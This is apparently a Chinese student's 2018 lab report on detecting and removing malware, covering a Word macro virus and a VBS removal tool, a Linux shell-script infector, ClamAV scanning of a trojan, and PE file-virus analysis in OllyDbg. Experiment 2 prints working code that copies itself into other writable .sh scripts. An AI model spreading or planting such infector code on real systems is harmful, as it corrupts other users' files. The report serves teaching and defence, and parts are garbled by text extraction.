# 恶意代码的检测与防护实验 报告



姓			名		薛旗		学			뮺	20155362
班			级	软	信 1503		指	导	教	师	侯林
开	设	学	퐱			2	017-	201	8 第	二 学	期
<b>实 验 题 目</b> 脚本病毒;病毒行为分析;文件型病毒;即时通信 毒;键盘钩子病毒;特洛伊木马技术							[]     []				
实	验	日	期					2018	8.4.18	8	
证	中	т. Т	عدر على بدر				评	定人	签:	字	
म	尺	成	坝				评	定	日	期	2018. 5.5

东北大学软件学院

# 目录

実验 1 Word 宏病毒	实验1 Word 宏			
<ul> <li>実验 2 Linux 恶意脚本</li></ul>		?病毒		
实验 3 Linux 反病毒	实验 2 Linux 差	恶意脚本		
実验4文件型病毒         PE文件病毒         DL注入型病毒         COM病毒         实验5 特洛伊木马技术         网页木马         木马祖绑与隐藏         gh0st木马         木马免杀         木马知除         木马主成、植入功能         拓展:         初解 PE文件         拓展:         販売篇         DLL文件脱壳         販売篇         UPX 压缩壳         实验总结	实验 3 Linux )	反病毒		
PE 文件病毒         DL 注入型病毒         COM 病毒         实验 5 特洛伊木马技术         网页木马         木马捆绑与隐藏         gh0st 木马         木马免杀         木马光成、植入功能         拓展:         初解 PE 文件         拓展:         脱壳篇         DLL 文件脱壳         脱壳篇         水马先杀         水马先流         水马先永         水马先流         水马先流         水马先流         水马先流         水马先流         水日開除         水马先流         水马先流         水日         中区文件         新展:         初解 PE 文件         新展:         取売篇         DLL 文件脱壳         販売篇         DPX 压缩壳         マシン         マシン         マシン         マシン         アン         アン         アン         アン         アン         アン         アン         ホー         アン         ホー         アン         アン	实验4 文件型	病毒		
DLL 注入型病毒	PE 文件病	毒		
COM 病毒	DLL 注入型	□病毒		
实验5 特洛伊木马技术	COM 病毒			
网页木马.       木马捆绑与隐藏.         gb0st 木马.       木马免杀.         木马免杀.       木马删除.         木马生成、植入功能.       杯马肥壳篇.         拓展:       初解 PE 文件.         拓展:       脱壳篇.         脱壳篇一       DLL 文件脱壳.         脱壳篇二       UPX 压缩壳.         实验总结.       IPA 表.	实验 5 特洛伊	木马技术		
市以市市島廠藏	风湿 0 内相 V 四 页 木 马			
n       つ」加かう book         gh0st 木马       ホ马免糸         木马里成、植入功能       ホ马生成、植入功能         拓展:       初解 PE 文件         拓展:       脱荒篇         脱壳篇二       UPX 压缩壳         实验总结       マ分表	木 马 堀 郷			
gliust ホーラ         木马免杀	$\pi = 1$	・ うる感		
木马删除	gildst 不马 十旦在圣	]		
木马生成、植入功能	不马兄示. 十五 则险			
<ul> <li>木与主成、恒入功能</li></ul>	小 与 则 际 · 十 刀 上 亡	齿) 小化		
和展: 初麻 PE 文件 拓展: 脱壳篇	小 马 生 风·	、恒八切肥 7. 文研		
和展: 脱穴扁 脱壳篇一 DLL 文件脱壳 脱壳篇二 UPX 压缩壳	扣废: 彻胜 PE	2.又什		
版完扁一 DLL 文件脱究	扣底:	DII 立件昭吉		
脱完扁 实验总结	<b></b>	DLL 义件脱冗		••••••
头驱总结 评分表		UPX 压缩冗		
评分表	头验总结			•••••
			1.5	

## 实验1 Word 宏病毒

【实验目的】

1、理解 Word 宏病毒的感染方式

2、理解 Word 宏病毒的工作原理

3、掌握 Word 宏病毒的杀毒方法

【实验学时】 2学时

【实验人数】 每组2人

【实验环境】 Windows 2003

【实验工具】 Microsoft Word 2003

【实验原理】 通过实验步骤学习 word 宏病毒;运行病毒文件感染目标后,

1.2.

分析被感染的文件;最后设计宏病毒专杀工具。

【实验步骤】

#### 步骤1、病毒感染

(1) 主机 A"单击 VStart 工具集\病毒攻防\宏病毒",进入到实验目录,右键单击"MacroVirus.rar" 文件选择"解压到当前文件夹"。

(2)双击打开 Sufferer1.doc、Sufferer2.doc 和 Normal.dot 模板
 (Normal.dot 模板存放目录为 C:\Documents and
 Settings\Administrator\Application Data\Microsoft\Templates),观察程
 序未感染病毒时的正常现象,关闭文件。填写表 1-1。

「注」默认状态下 Application Data 文件夹是隐藏的。打开"资源管理器", 依次单击菜单栏"工具" | "文件夹选项"菜单项,进入"查看"选项卡,选中"显示 所有文件和文件夹",单击"确定"按钮,显示隐藏文件。

(3) 主机 A 打开实验目录中的 MothersDayVirus.doc, 然后关闭文件。此时 病毒已感染到 Normal.dot 模板上。填写表 1-1。

(4) 主机 A 打开 Sufferer1. doc, 然后关闭文件,此时病毒感染到 Sufferer1. doc 上,观察关闭文档时的现象。填写下表 1-1。

表 1-1

状态	文件大小
Sufferer1.doc 感染前	11KB
Sufferer1.doc 感染后	32KB
Normal.dot 感染前	77KB
Normal.dot 感染后	90KB

回答问题:无毒文件第一次感染病毒时,病毒提示出现在? ( B )

A. 打开文件时

B. 关闭文件时

#### 步骤 2、病毒的传播

(1) 主机 B 打开单击 VStart 工具箱\病毒攻防\宏病毒目录下的 Sufferer1. doc 和 Sufferer2. doc,观察程序未感染病毒时的正常现象,然后关闭文件。

(2) 主机 A 将已感染病毒的 Sufferer1. doc 文件用"VStart 工具 集"-> "Public"中的"FeiQ"发送给主机 B。

(3) 主机 B 接收此文件,并将附件保存在宏病毒实验目录下,替换原来的 Sufferer1.doc,打开此附件(Sufferer1.doc),然后关闭。此时病毒感染到 主机模板 Normal.dot 上。

(4) 主机 B 打开 Sufferer 2. doc, 然后关闭。此时病毒已经感染到 Sufferer 2. doc 上,观察关闭文档时的现象。

回答问题:此时新建 word 文档,文档是否感染病毒?(A)

#### A. 是 B. 否

主机 A 与主机 B 同学互换角色再做一遍,分别把自己操作的结果截图,将 该图片上传。

	-15 17:24:00	C:\Documents and Settings\Americationtel\uniteresteduested	need test too					
(2) 编辑(2) 直音(2) (版)	素( <u>4</u> ) 工具( <u>5</u> ) 帮助( <u>4</u> )							
退・○・⑦ ↓ 搜索 С 文件夹 Ш・								
D) 🗁 C:\tools\病毒安全工具	集\宏病毒	736	rosort(lemplates +水(米田) (彼政内田田					
并和文件夹任务 《 董命名这个文件  参动这个文件  复制这个文件  将这个文件发布到 Web	名称	文件和文件夹任务	<u>大小</u> <u>快速</u> [] 修改日期 97 KB Microsoft Word 2018-5-1					
以電子邮件形式 法送此 文件 打印这个文件 、删除这个文件 " <b>它位置</b> ☆ 》病毒安全工具集 》我的文档 】我的电脑 】 例上邻居		文件       近中这个       ▲dainistrator(HOST3A)         ● 新時这个       ▲dainistrator(HOST3A)         ■ 新校本       ● 小       ● 小         第1020日       ● 小       ● 小       ● 小         ■ Microsof       ● 小       ● 小       ● 小       ● 小         ● 新icrosof       ● 小       ● 小       ● 小       ● 小       ● 小         ● 新icrosof       ● 小	対方资料(FA1632B777445) 用户名:Administrator 主机:HOSTSA 登录名:Administrator 組名:我的好友 IP地址、172.16.29.8					
第信息 ※ Microsoft Word 文档 作者: E 按下而任意求所有3 行提案. 全部或部分文件名(Q) macrovirus	xp和C 修改日期: 2018-5-15 17:1 条件进 ):	<ul> <li>详细信息         <ul> <li>您给 Administrator 发送了 1 个 文件, 0 个文件夹, 共计 1 个.(时 间:17:20:21)</li> <li>文件 C:\tools\病毒安全工具集\宏 病毒\Sufferer1.doc 发送完成!</li> </ul> </li> <li>4 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●</li></ul>	对方形象照片 发送文件监视 目录 文件 顺消 名称 类型 大小 路径					
文件中的一个字或词: 2 开始 🕝 🤌 📑 搜索	组( <u>W):</u> 结果 C:\teol	土田 m l 一 告注 (c) - 大田 m l 一 告注 (c) - ( ) -	الت					

#### 步骤 3、分析被感染文件

(1) 主机 A、主机 B 都打开 Sufferer2. doc, 然后关闭并再次打开, 使用快 捷键"Alt+F11" 打开 Visual Basic 编辑器。

 (2) 在 Visual Basic 编辑器的"工程"视图中打开"Normal\Microsoft Word 对象\MothersDay"和"Project (Sufferer2) \ Microsoft Word 对象\ MothersDay",查看病毒源码。

(3)分析两份代码,理解 MothersDayVirus 的工作过程,关闭 Sufferer2.doc。

回答问题:两份文件代码的第一行是否相同?(B)

#### A. 与

## B. 否

**回答问题:** 代码第一行代表什么意义?

答:代码第一行代表宏病毒的发生时机。

Normal 工程下 MothersDay 第一行: Sub AutoClose(),关闭文档时自动运行; Sufferer2 工程下 MothersDay 第一行: Sub Document\_Open(),打开 文档时自动运行。

病毒代码感染模板和当前活动文档时病毒宏名分别是什么?

答: 病毒宏名分别为 AutoClose 和 Document\_Open 模板和当前活动文档中的病毒宏分别在什么时候运行?

答:分别在文档关闭时自动运行和文档打开时自动运行。

当模板文件被感染后,为什么无毒文件第一次打开时没有病毒提示关闭时有病毒提示,而第二次打开和关闭时都有病毒提示?

答: MothersDayVirus 病毒执行时,首先判断当前文档和 Normal.dot 是否感染,如果 Normal.dot 未被感染,清空 Normal.dot,并将病毒复制到 Normal.dot,同时将宏重命名为 AutoClose;如果当前文档未被感染,清空当前 文档宏命令,并将病毒复制到当前文档,同时将宏重命名为 Document\_Open,然后禁用 Word 的宏编辑功能,接着添加自动保存功能,然后病毒再开始执行,弹出对话框,最后返回到程序正常路径执行,所以无毒文件第一次打开时 没有病毒提示,关闭时病毒已经感染了文件,所以弹出病毒提示对话框。第二 次打开时文件已经感染,所以打开和关闭时都有病毒提示对话框。

表 1-2

病毒传播方向	发生时机
Normal.dot->普通文件	文件打开时

主机 A 与主机 B 同学互换角色再做一遍,分别把自己操作的结果截图,将该图 片上传。



#### 步骤4、宏病毒专杀工具设计

(1) 根据实验原理编写 VBA 专杀工具。

(2)根据实验原理编写 VBS 专杀工具。
VBS 专杀工具杀毒的基本结构为:
①隐式打开指定文档;
②判断是否有病毒感染标记;
③如果有病毒感染标记,则向 Word 中写入杀毒宏;
④运行杀毒宏;
⑤保存文档并退出;
⑥如果没有病毒感染标记,则退出。

请根据 MothersDay 宏病毒的特点和实验原理中介绍的相关知识设计 MothersDay 宏病毒专杀工具,要求此专杀工具能够删除指定的文档及其模板中 的病毒体并恢复被篡改的设置。

答: 使用 VBS 杀毒。

使用 VBS 脚本语言,根据病毒感染标记判断文档是否被感染,若感染病毒则向此文档中写入杀毒宏并运行将病毒清除。

(1) 首先将病毒宏代码存入字符串中,等待被写入。

"PrivateSubkillvir()" &vbCr&\_

"Application.CommandBars( "+Chr(34)+" Tools" +Chr(34)+").Enabled=True" &vbCr&\_

"Application.CommandBars("+Chr(34)+" Macro" +Chr(34)+").Enabled=True" &vbCr&\_

(2) 创建一个 Word. Application 对象, 假定对象名为 app, 打开文档时不

可见。

Setapp=CreateObject("Word. Application")

app.Visible=False

(3) 通过 document. open("路径\文件名")方法打开指定文档。

Setdoc=app.Documents.Open("D:\Work\Virus\MacroVirus\Sufferer2.doc")

(4) 如果有病毒感染标记,则向病毒文档中写入杀毒宏并运行。

doc.VBProject.VBComponents("Mothersday").CodeModule.AddFromStringadmacro
app.Run"killvir"

(5)保存文档、关闭文档并退出 Word.

doc. Save

doc.Close:Setdoc=Nothing

app.Quit:Setapp=Nothing

## 实验 2 Linux 恶意脚本

【实验目的】

- 1、掌握 linux 下恶意脚本执行的原理
- 2、了解一般恶意脚本的攻击方式
- 3、掌握如何防治恶意脚本的攻击
- 【实验学时】 1学时
- 【实验人数】 每组1人
- 【实验环境】 Linux
- 【实验工具】 控制台

【实验原理】 操作系统与外部最重要的接口就是 shell。Shell 是操作系统最外面的一层。Shell 管理你与操作系统之间的交互: 等待输入、向操作系统解释输入、并且处理各种各样的操作系统的输出结果。Shell 基本上是一个命令解释器,类似于 dos 下的 command. Com。它接受用户命令,然后调用相应的应用程序。本实验要求应用者了解一定的 shell 编程知识。

1e.C

【实验步骤】

#### 步骤1、主机覆盖其它脚本文件

(1)点击"应用程序" | "附件" | "终端",弹出终端,新建自己的工作目 "jlyuxintest",然后新建三个 shell 脚本, "jlyuxina.sh" "jlyuxinb.sh" "jlyuxinc.sh"如下图所示:

[root@PIS\_ens\_fedora /]# mkdir jlyuxintest [root@PIS\_ens\_fedora /]# cd jlyuxintest/ [root@PIS\_ens\_fedora jlyuxintest]# touch jlyuxina.sh [root@PIS\_ens\_fedora jlyuxintest]# touch jlyuxinb.sh [root@PIS\_ens\_fedora jlyuxintest]# touch jlyuxinc.sh [root@PIS\_ens\_fedora jlyuxintest]# ls jlyuxina.sh jlyuxinb.sh jlyuxinc.sh 图 1 显示脚本文件

(2) 在"jlyuxina. sh"与"jlyuxinb. sh"中加入语句,如下图所示:



请同学把自己操作的结果截图,将该图片上传。

24 2018-04-18 19 38:25 the sub-

#### 步骤2、插入其它脚本

(1) 在"jlyuxina.sh"与"jlyuxinb.sh"清空原有代码,添加如下语句,如下 图所示:

> echo "test" 图7 脚本内容

(2) 在"jlyuxinc.sh"中添加如下语句实现功能,如下图所示:

#infected
for file in ./\*.sh;do
if test -f \$file && test -x \$file && test -w \$file;then
if grep -s echo \$file > /dev/nul;then
head -n l \$file > .temp
if grep -s infected .temp > /dev/nul;then
rm .temp -f ;else
cat \$file > .tempm
head -n l3 \$0 > \$file
cat .tempm >> \$file
fi;fi;fi
done
rm .tempm .temp -f

图 8 脚本内容

(3) 改变三个文件的执行状态,如下图所示:

[root@PIS\_ens\_fedora jlyuxintest]= chmod 755 \*.sh 图 9 改变文件状态

(4) 执行"jlyuxinc. sh" 脚本,实现插入另两个脚本的功能,且此时状态。如下图所示:

[root@PIS\_ens\_fedora\_jlyuxintest]# ./jlyuxinc.sh 图 10 执行 jlyuxinc.sh

(5) 查看"jlyuxina. sh"与"jlyuxinb. sh"中代码,已插入"jlyuxinc. sh"中的代码,插入成功。

请同学把自己操作的结果截图,将该图片上传。

 Art corr (May C) File or (File or (

#### 步骤 3、插入其它脚本

Shell 基本都是明码,所以不难查处问题所在,一般 shell 得不到 root 权限,基本影响不会很大,但当得到 root 权限便可肆意删除、破坏系统。不过此类代码,只要使用者不轻易执行不明脚本,便使其无机可趁。

请问,添加语句的命令正确的是: ( C )

- A touch 文件名
- B cp 文件名
- C vim 文件名
- D mkdir 文件名

# 实验3 Linux 反病毒

【实验目的】

- 1、掌握 clamAV 安装方法
- 2、了解 clamAV 操作
- 【实验学时】 2学时
- 【实验人数】 每组1人
- 【实验环境】 Linux

【实验原理】 ClamAntiVirus 是一款 UNIX 下开源的(GPL)反病毒工具包,专为邮件网关上的电子邮件扫描而设计。该工具包提供了包含灵活且可伸缩的监控程序、命令行扫描程序以及用于自动更新数据库的高级工具在内的大量实用程序。该工具包的核心在于可用于各类场合的反病毒引擎共享库。

【实验步骤】

#### 步骤1、安装 ClamAV

(1) 点击平台工具栏中"控制台"按钮,弹出终端,新建自己的工作目录 "jlyuxintest",拷贝相应文件包到该目录,拷贝后查看该目录,如 下图所示:

[root@PIS\_ens\_fedora /]# mkdir jlyuxintest [root@PIS\_ens\_fedora /]# cp /opt/PIS\_ens\_fedora/Clam-Lab/\* jlyuxintest/ [root@PIS\_ens\_fedora /]# cd jlyuxintest/ [root@PIS\_ens\_fedora jlyuxintest]# 1s clamav-0.9L.2\_tar.gz\_huigezi.exe\_zlib-devel-1.2.3-1.2.1.i386.rpm [root@PIS\_ens\_fedora jlyuxintest]# 图 1 显示内容

将该目录下的"clamv-0.91.2.tar.gz"进行解压。
 #tar zxvf clamav-0.91.2.tar.gz
 解压之后,生成相应的目录,如下图所示:

clamay-0.91.2/libclamay/matcher-ac.h clamay-0.91.2/libclamay/matcher-bm.c clamay-0.91.2/libclamay/matcher-bm.h clamay-0.91.2/libclamay/packlibs.c clamay-0.91.2/libclamay/packlibs.h [root@ExpNIC jlcsstest]# 1s clamay-0.91.2 huigezi.exe clamay-0.91.2 tar.gz zlib-devel-1.2.3-1.2.1.i386.rpm 图 2 查看生成目录

#### (2) 安装 zlib-devel 库,如下图所示:

[root@PIS\_ens\_fedora j1yuxintest] # rpm -ivh z1ib-devel-1.2.3-1.2.1.i386.rpm warning: zlib-devel-1.2.3-1.2.1.i386.rpm: Header V3 DSA signature: NOKEY, key ID 4f2a6fd2 100% Preparing.. 1:zlib-devel [root@PIS\_ens\_fedora j1yuxintest]# 图 3 脚本内容 添加一个 clamav 用户。如下图所示: (3)[root@PIS\_ens\_fedora j1yuxintest]# useradd c1amav [root@PIS\_ens\_fedora j1yuxintest]# 图4 添加 clamav 用户 进入解压后的文件夹"clamav-0.91.2"进行编译,执行 (4)"./configure",如下图所示: (5)[root@PIS\_ens\_fedora\_clamav-0.91.2]# cd .. [root@PIS\_ens\_fedora\_j1yuxintest]#\_cd\_c1amav-0.91.2 [root@PIS\_ens\_fedora clamav-0.91.2]# ./configure checking build system type... i686-pc-linux-gnu checking host system type... i686-pc-linux-gnu checking target system type... i686-pc-linux-gnu creating target.h - canonical system defines checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes 图 5 执行编译 执行"make"和"make install",如下图所示: [root@PIS\_ens\_fedora\_clamav-0.91.2]# [root@PIS\_ens\_fedora clamav-0.91.2]# make Lroot@PIS\_ens\_fedora clamav-0.91.2]# root@PIS\_ens\_fedora clamav-0.91.2]# make install 图 6 执行 make 和 makeinstall

(7) 配置完成,进入"/usr/local/bin"目录下查看执行程序,并截屏及上传:



#### (7) 执行扫描程序 clamscan, 如下图所示:

[root@PIS ens fedora bin]# clamscan LibClamAV Warning: \*\*\* The virus database is older than 7 days. \*\*\* LibClamAV Warning: \*\*\* \*\*\* Please update it IMMEDIATELY! /usr/local/bin/clamav-config: OK /usr/local/bin/clamscan: OK /usr/local/bin/freshclam: OK /usr/local/bin/clamconf: OK /usr/local/bin/clamdscan: OK /usr/local/bin/ulogd: OK /usr/local/bin/sigtool: OK /usr/local/bin/event\_rpcgen.py: OK /usr/local/bin/dnet-config: OK 2. ----- SCAN SUMMARY --Known viruses: 148100 Engine version: 0.91.2 Scanned directories: 1 Scanned files: 9 Infected files: 0 Data scanned: 0.59 MB Time: 1.449 sec (0 m 1 s) [root@PIS\_ens\_fedora bin]# 图 7 执行扫描程序

#### 步骤 2、使用 clam 进行查杀

(1)进入"jlyuxintest"目录,拷贝木马文件"huigezi.exe"到
"/usr/local/bin/"目录下,如下图所示:

[root@PIS\_ens\_fedora bin]# cd /jlyuxintest/
[root@PIS\_ens\_fedora jlyuxintest]# cp huigezi.exe /usr/local/bin
[root@PIS\_ens\_fedora bin]# 1s
clamav-config clamdscan dnet-config freshclam sigtool
clamconf clamscan event\_rpcgen.py huigezi.exe ulogd
图 8 拷贝木马文件

(2)执行扫描程序 clamscan,如下图所示:

[root@PIS\_ens\_fedora bin]# ls clamav-config clamdscan dnet-config freshclam sigtool clamconf clamscan event rpcgen.py <mark>huigezi.exe</mark> [root@PIS\_ens\_fedora bin]# clamscan clamconf ulogd LibClamAV Warning: \*\*\* The virus database is older than 7 days. \*\*\* LibClamAV Warning: \*\*\* Please update it IMMEDIATELY! \*\*\* /usr/local/bin/clamav-config: OK /usr/local/bin/clamscan: OK /usr/local/bin/freshclam: OK /usr/local/bin/clamconf: OK /usr/local/bin/clamdscan: OK /usr/local/bin/ulogd: OK /usr/local/bin/sigtool: OK /usr/local/bin/huigezi.exe: Trojan.PcClient-60 FOUND /usr/local/bin/event\_rpcgen.py: OK /usr/local/bin/dnet-config: OK -- SCAN SUMMARY -

Known viruses: 148100 Engine version: 0.91,2 Scanned directories: 1 Scanned files: 10 Infected files: 1 Data scanned: 0.72 MB Time: 1.468 sec (0 m 1 s) [root@PIS ens fedora bin]#

图 9 扫描木马文件

(3)使用参数对病毒进行清除"clamscan — remove",清除后执行"ls"命令查看目录,木马文件"huigezi.exe"消失,将查看到的内容截屏并上传:



## (4) 对其它参数可以通过"clamscan --help"来查看,下图为部分参数说

明:

Lroot@PIS\_ens\_fedora bin」# clamscan --help

#### Clam AntiVirus Scanner 0.91.2 (C) 2002 - 2007 ClamAV Team - http://www.clamav.net/team

--help Print this help screen -h --version -V Print version number --verbose - v Be verbose --debug Enable libclamav's debug messages --quiet Only output error messages --stdout Write to stdout instead of stderr --no-summary Disable summary at end of scanning --infected - i Only print infected files --be11 Sound bell on virus detection --tempdir=DIRECTORY --leave-temps Create temporary files in DIRECTORY Do not remove temporary files Load virus database from FILE or load all .cvd and .db[2] files from DIR --database=FILE/DIR -d FILE/DIR 图 10 参数说明 

## 实验4 文件型病毒

【实验目的】

1、了解文件型病毒的原理

2、了解 PE 文件结构

3、了解文件型病毒的发现方法

4、了解病毒的清除方法

【实验学时】 2学时

【实验环境】 Windows

【实验工具】 LaborDayVirus、OllyDBG、PE Explorer、UltraEdit-32、 VC++6.0

【实验原理】 无论是 COM 文件还是 EXE 文件,或是操作系统的可执行文件(包括 SYS、OVL、PRG、DLL 文件),当启动已感染文件型病毒的程序(HOST 程序)时,暂时中断该程序,病毒完成陷阱(激活条件)的布置、感染工作后,再继续执行 HOST 程序,使计算机使用者初期觉得可正常执行,而实际上,在执行期间病毒已完成了传染的工作,时机成熟时,病毒发作。文件型病毒的基本原理如图 1 所示。



#### 图1 文件型病毒基本原理

文件型病毒寄生在文件中,这是文件型病毒与引导型病毒的差别所在。 普通性质的文件型病毒会依托文件的执行动作而修改 DOS 的中断向量,并常驻 内存。病毒未发作的这段时间,称为计算机病毒的潜伏期。在潜伏期内,感染 可感染的文件,使之成为被传染的对象,直至发作。 爆炸性的文件型病毒,在运行一个已经感染了该病毒的 HOST 程序时,首先 立即去感染别的文件。当然在进行感染之前要先判断是否可以发作表现自己, 若"时机未到",则执行传染的命令,之后再运行 HOST 程序。因此,爆炸性文件 型病毒不需要常驻内存,也不需要修改任何一种中断向量。所以,防毒程序要 在事前拦截。

典型的 PE 病毒修改 PE 文件,将病毒体代码写入 PE 文件中,更新头部相关的数据结构,使得修改后的 PE 文件仍然是合法 PE 文件,然后将 PE 入口指针改为指向病毒代码入口,这样在系统加载 PE 文件后,病毒代码就首先获取了控制权,在执行完感染或破坏代码后,再将控制权转移给正常的程序代码,这样病毒代码就悄悄运行了。

感染 PE 文件有如下几种方案:

①添加一个新的段。将病毒代码写入到新的段中,相应修改段表以及 PE 文件头中文件大小等属性值。

②将病毒代码附加在最后一个段上。修改最后一个段段表的大小和属性以 及文件头中文件大小等属性值。

③将病毒代码写入到 PE 文件各个段所保留的未用空间中。

【实验步骤】

PE 文件病毒

每组1人

#### 步骤 1、验证利用 OllyDBG 修改病毒感染程序

(1)点击 Vstart 工具集中的病毒攻防->FileVirus,进入文件型病毒实验目录,右键点击文件"FileVirus.rar"选择解压到当前目录。新建文件夹"text",将文件夹"hei"下的 hei0.exe(未感染病毒的可执行程序)复制到text 目录中。点击 Vstart 工具集中的病毒攻防->LaborDayVirus,进入实验目录,右键点击文件"LaborDayVirus.rar"选择解压到当前目录,将LaborDayVirus.exe 文件也复制到text 目录中。将系统时间调整为5月1日,双击text 目录下LaborDayVirus.exe 感染 hei0.exe 文件,观察 hei0.exe 感染 hei0.exe 文件



wa	D:\EspHIC\VirusAD\Teols\V	iLefirus <sup>y</sup> enet			
1	○ 后退 ・ ○ ・ ③ ● 捜索 ●	臧 (A) 工具 (C) 前町 (A) ○ 文件夹   □□ -			
	地址① D:\ExpNIC\VirusAD\To	ols\FileVirus\text			▼ ▶ 转到
4		_名称 ~	大小 学	後型 修改日期	属性
	文件和文件夹任务	mhei0. exe	9 KB /	2018-5-1 20:	09 A
net rer	<ul> <li>              重命名这个文件          </li> <li>             移动这个文件         </li> <li>             复制这个文件         </li> <li>             授制这个文件         </li> <li>             新会社         </li> <li>             新聞         </li> <li> </li> </ul> <li> </li> <li> </li> <li> <ul> <li> </li> </ul> <ul> <li> </li> </ul> <ul> <li> </li> </ul> <ul> <li> </li> <li> </li> <li> </li> </ul> <ul> <li> </li> <li> </li> <li> </li> </ul> <ul> <li> <ul> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li> <li> </li></ul></li></ul></li>	计算机已经感	2011 2 ↓ 除了五一节病毒 × 染了五一节病毒	3	, U A
	其它位置 *		确定		
100	🛅 FileVirus				
	📋 我的文档				
	我的电脑 利止 利止 第				
	详细信息 ※				2005
				. 2	

(2) Vstart 工具集中的病毒攻防-> 011yDBG, 启动 o11yDbg1.10, 单击文件 菜单中的"打开"项,选择要修复的 hei0.exe。由于病毒修改了原程序的入口 点,因此会有程序入口点超出代码范围的提示,如图 1 所示。

入口点警告	×
<mark>!</mark> 模块 'hei0' 入口, 住这一点!	[超出代码范围 (在 PE 文件头中指定). 可能这是一个自解压或自修改文件. 请在设置断点时记 确定
	图1 入口占擎告提示

单击"确定"按钮继续,程序会停在病毒修改后的程序入口点(hei0.exe的入口点为0x00403200)上,在代码中找到最后一个 jmp 指令处(病毒感染完成后将跳转回原程序),按 F2 设置断点,按 F9 运行,程序会在刚设置的 jmp 断点上中断,查看 EAX 寄存器的值(EAX=0x401000注意上面提到的断点,下面 还会用到),按 F7 单步执行到下一条指令地址,点选鼠标右键,选择菜单中的"用 ollyDump 脱壳调试进程",选中重建输入表方式 1,方式 2 各脱壳一次,分别保存为 1.exe、2.exe。测试两个程序是否还具有病毒的传染特性? (B) A 有

B 没有

运行 1. exe 和 2. exe, 将运行结果进行截屏并上传:

我的电応 (01)	8-04-18 20:41.	05		
网上剑云	D-\F-nWIT\V	allowed and		
	文件(2) 編輯(2) 查看(2) 收i	(A) 工具(C) 帮助(A)		
-	〇 后退 ▼ 〇 〒 ⑦ 2 搜索 ○	文件夹 □		
「「「「「「」」	地址 (D) 🛅 D: \ExpNIC \VirusAD \Too	s\FileVirus\text	a service of the service of the	💌 🔁 转到
1010.40	☆ 計 前 立 姓 玉 年 久 、 ◇	名称 - 大小	《 类型 修改日期 8 应田程序 2018-5-1 20:38	属性
100	▲ T → Z → Z → Z → Z → Z → Z → Z → Z → Z →	2. exe 19 KE	8 应用程序 2018-5-1 20:38	A
i i i i i i i i i i i i i i i i i i i	■ 重加石运 T 文件 移动这个文件	hei0. exe 9 KE LaborDavVirus exe 18 KE	B 应用程序 2018-5-1 20:09 B 应用程序 2007-11-15 17:4	A 3 A
Explorer	夏制这个文件	_		-
	◎ 将这个文件发布到 Web	测试程序	×	
	文件	♥ 这是一个病毒测试程序	<u> </u>	
		<u> </u>		
	其它位置 *	[[]]		
-	FileVirus	-		
	🕘 我的文档			
	3 我的电脑			
	🧕 网上邻居			
	洋细信白 ×			1002
				2003
				-
	创建日期: 2018-5-1 20:38 大小: 19	0 KB	19.0 KB 我的电脑	Alte
				and the second diversion of the second diversion of the second diversion of the second diversion of the second
🤁 开始 📴 🥭	🌺 OllyDbg - hei0. exe 🗋 🗋 D.	ExpNIC\VirusAD\T] ]]测试程序		20:4 🗭 🛃 🦢
			2	
~				

#### 步骤 2、病毒感染机制分析

(1)准备一个没有感染病毒的可执行程序和一个感染病毒的可执行程序,将 其分别重命名为 hei0. ex\_, hei. ex\_,并复制到一个新的目录下用于调试、对 比。

(2) 点击 Vstart 工具集中的病毒攻防->pexplorer.exe, 使用 PE Explorer 分别打开 hei.ex\_和 hei0.ex\_文件,对比两个文件入口点(OEP--Address of Entry Point)和 Image Base 并分别记录。

	OEP	ImageBase	
hei0.ex_	0x00001000H	0x00400000H	
hei.ex_	0x00003200H	0x00400000H	

点击"View"菜单中的"Section Headers"进入 Section Headers 页面, 比对 Section Header 的数据信息并记录到下面表格。

	Wintucl Sige	Virtual	Size of Raw	Point to Raw
	VIRtual Size	Address	Data	Data
hei0.ex_的.data	0x00000027H	0x00403000H	0x00000200H	0x00000800H
hei.ex_的.data	0x00001A00H	0x00403000H	0x00001A00H	0x00000800H

由于一般文件型病毒只有代码段,数据和代码都存在一起。所以可以断定 hei.ex\_的.data 段多出的数据即为病毒代码和数据。

(3) 点击 Vstart 工具集中的 Public->Uedit32, 打开 Ultra Editor,选择 "文件"菜单中的"比较文件"功能对 hei0. ex\_和 hei. ex\_进行二进制比对,可以 发现在 hei. ex\_文件的 0xa00 处开始的数据块为存储于. data 节的病毒代码。

「注」该段数据在.data 节是因为 hei0.ex\_和 hei.ex\_的.data 节都开始于各 自文件偏移的 Point to Raw Data 处。这段数据是病毒代码是因为 0xa00 -0x800 + 0x403000 = 0x403200 (感染病毒文件 hei.ex\_ OEP 的虚地址 (VA))。

(4)使用 Ultra Editor 打开 hei.ex\_定位光标到 hei.ex\_的.data 块的 Point to Raw Data 位置,并以 16 进制形式查找 hei0.ex\_的入口点(注意字节 顺序),将查找到的数据的文件偏移记录 201C H。计算该偏移的保护模式内存 虚拟地址: 40481C H 。

(5) 定位上面例子中 hei. ex\_的 jmp 断点,在 jmp 指令上面会发现如下的汇 编代码:

004047F3	6A 00	PUSH 0
004047F5	FF95 34FEFFFF	CALL DWORD PTR SS:[EBP-1CC] 计算宿主文件
004047FB	8985 58FDFFFF	MOV DWORD PTR SS:[EBP-2A8], EAX 原入口地址, 跳转
00404801	8B4D FC	MOV ECX, DWORD PTR SS:[EBP-4] 曲保安主把皮
00404804	8B11	MOV EDX, DWORD PTR DS: [ECX]
00404806	0395 58FDFFFF	ADD EDX, DWORD PTR SS: [EBP-2A8] ; hei. 00400000
0040480C	8995 D4FDFFFF	MOV DWORD PTR SS:[EBP-22C],EDX
00404812	8B85 D4FDFFFF	MOV EAX, DWORD PTR SS: [EBP-22C]
00404818	FFEO	JMP EAX ;最后跳转到 EAX 执行源程序
0040481A	8BE5	MOV ESP,EBP ;灰色区域的代码可以用做查找原入口点的标记
		;因为其操作与立即数无关,不会因宿主程序改动
		;而变化,其后的病毒数据存储原始入口点
0040481C	0010	ADD BYTE PTR DS:[EAX], DL
0040481E	0000	ADD BYTE PTR DS:[EAX], AL
00404820	0000	ADD BYTE PTR DS:[EAX], AL
00404822	0000	ADD BYTE PTR DS:[EAX], AL

0x40481c 在病毒代码之后为被加载到内存的病毒数据的存储区,0x1000 为 hei0.exe OEP 的 RVA,0x1000 在反汇编代码中的表示是 0010。

1、通过以上的分析,就可以初步断定,该病毒的感染方式是? ( C ) A 感染文件头

B 修改数据字段

